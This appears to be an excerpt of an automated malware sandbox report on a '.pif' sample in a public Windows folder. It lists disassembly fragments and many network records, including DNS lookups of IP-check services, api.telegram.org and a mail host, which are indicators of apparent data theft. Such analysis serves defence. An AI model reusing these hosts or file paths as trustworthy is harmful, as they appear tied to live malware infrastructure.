          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D60F8h16_2_1E4D5E00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DF9F8h16_2_1E4DF700
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D2BE6h16_2_1E4D2918
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DE210h16_2_1E4DDF18
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DB708h16_2_1E4DB410
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D0BF6h16_2_1E4D0928
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D9F20h16_2_1E4D9C28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D7418h16_2_1E4D7120
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D3507h16_2_1E4D3238
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D5C30h16_2_1E4D5938
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DF530h16_2_1E4DF238
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DCA28h16_2_1E4DC730
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D3996h16_2_1E4D36C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D65C0h16_2_1E4D62C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DD3B8h16_2_1E4DD0C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D19A6h16_2_1E4D16D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DBBD0h16_2_1E4DB8D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D0777h16_2_1E4D04D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D90C8h16_2_1E4D8DD0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D42B6h16_2_1E4D3FE8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DE6D8h16_2_1E4DE3E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D22C6h16_2_1E4D1FF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DCEF0h16_2_1E4DCBF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DA3E8h16_2_1E4DA0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D2756h16_2_1E4D2488
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DD880h16_2_1E4DD588
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DAD78h16_2_1E4DAA80
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D9590h16_2_1E4D9298
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D6A88h16_2_1E4D6790
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D3076h16_2_1E4D2DA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DEBA0h16_2_1E4DE8A8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DC098h16_2_1E4DBDA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D1086h16_2_1E4D0DB8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4DA8B0h16_2_1E4DA5B8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E4D7DA8h16_2_1E4D7AB0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E500CC8h16_2_1E5009D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, 000003E8h16_2_1E50FDF0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E500338h16_2_1E500040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then jmp 1E500800h16_2_1E500508
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, 000003E8h16_2_1E50FDE0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E51FAD8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E51FAC9
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E51FACF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E6731D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E673148
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E67311F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]16_2_1E6731C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]16_2_1E67EF70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]16_2_1E67EF78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 4x nop then push 00000000h16_2_1EFBE28E
          Source: global trafficDNS query: name: amazonenviro.com
          Source: global trafficDNS query: name: checkip.dyndns.org
          Source: global trafficDNS query: name: reallyfreegeoip.org
          Source: global trafficDNS query: name: api.telegram.org
          Source: global trafficDNS query: name: mail.techniqueqatar.com
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49717 -> 166.62.27.188:80
          Source: global trafficTCP traffic: 192.168.2.5:49733 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49733 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49733 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49807 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49813 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49831 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49813 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49848 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49860 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49872 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49873 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49813 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49872 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49886 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49889 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49872 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49901 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49904 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49905 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49919 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49921 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49932 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49934 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49946 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49947 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49960 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49961 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49974 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49975 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49990 -> 132.226.8.169:80
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49795 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49802 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49826 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49843 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49854 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49866 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49871 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49880 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49887 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49895 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49896 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49897 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49912 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49913 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49914 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49920 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49926 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49927 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49939 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49941 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49953 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49954 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49967 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49968 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49981 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49982 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49986 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49996 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:50001 -> 149.154.167.220:443
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
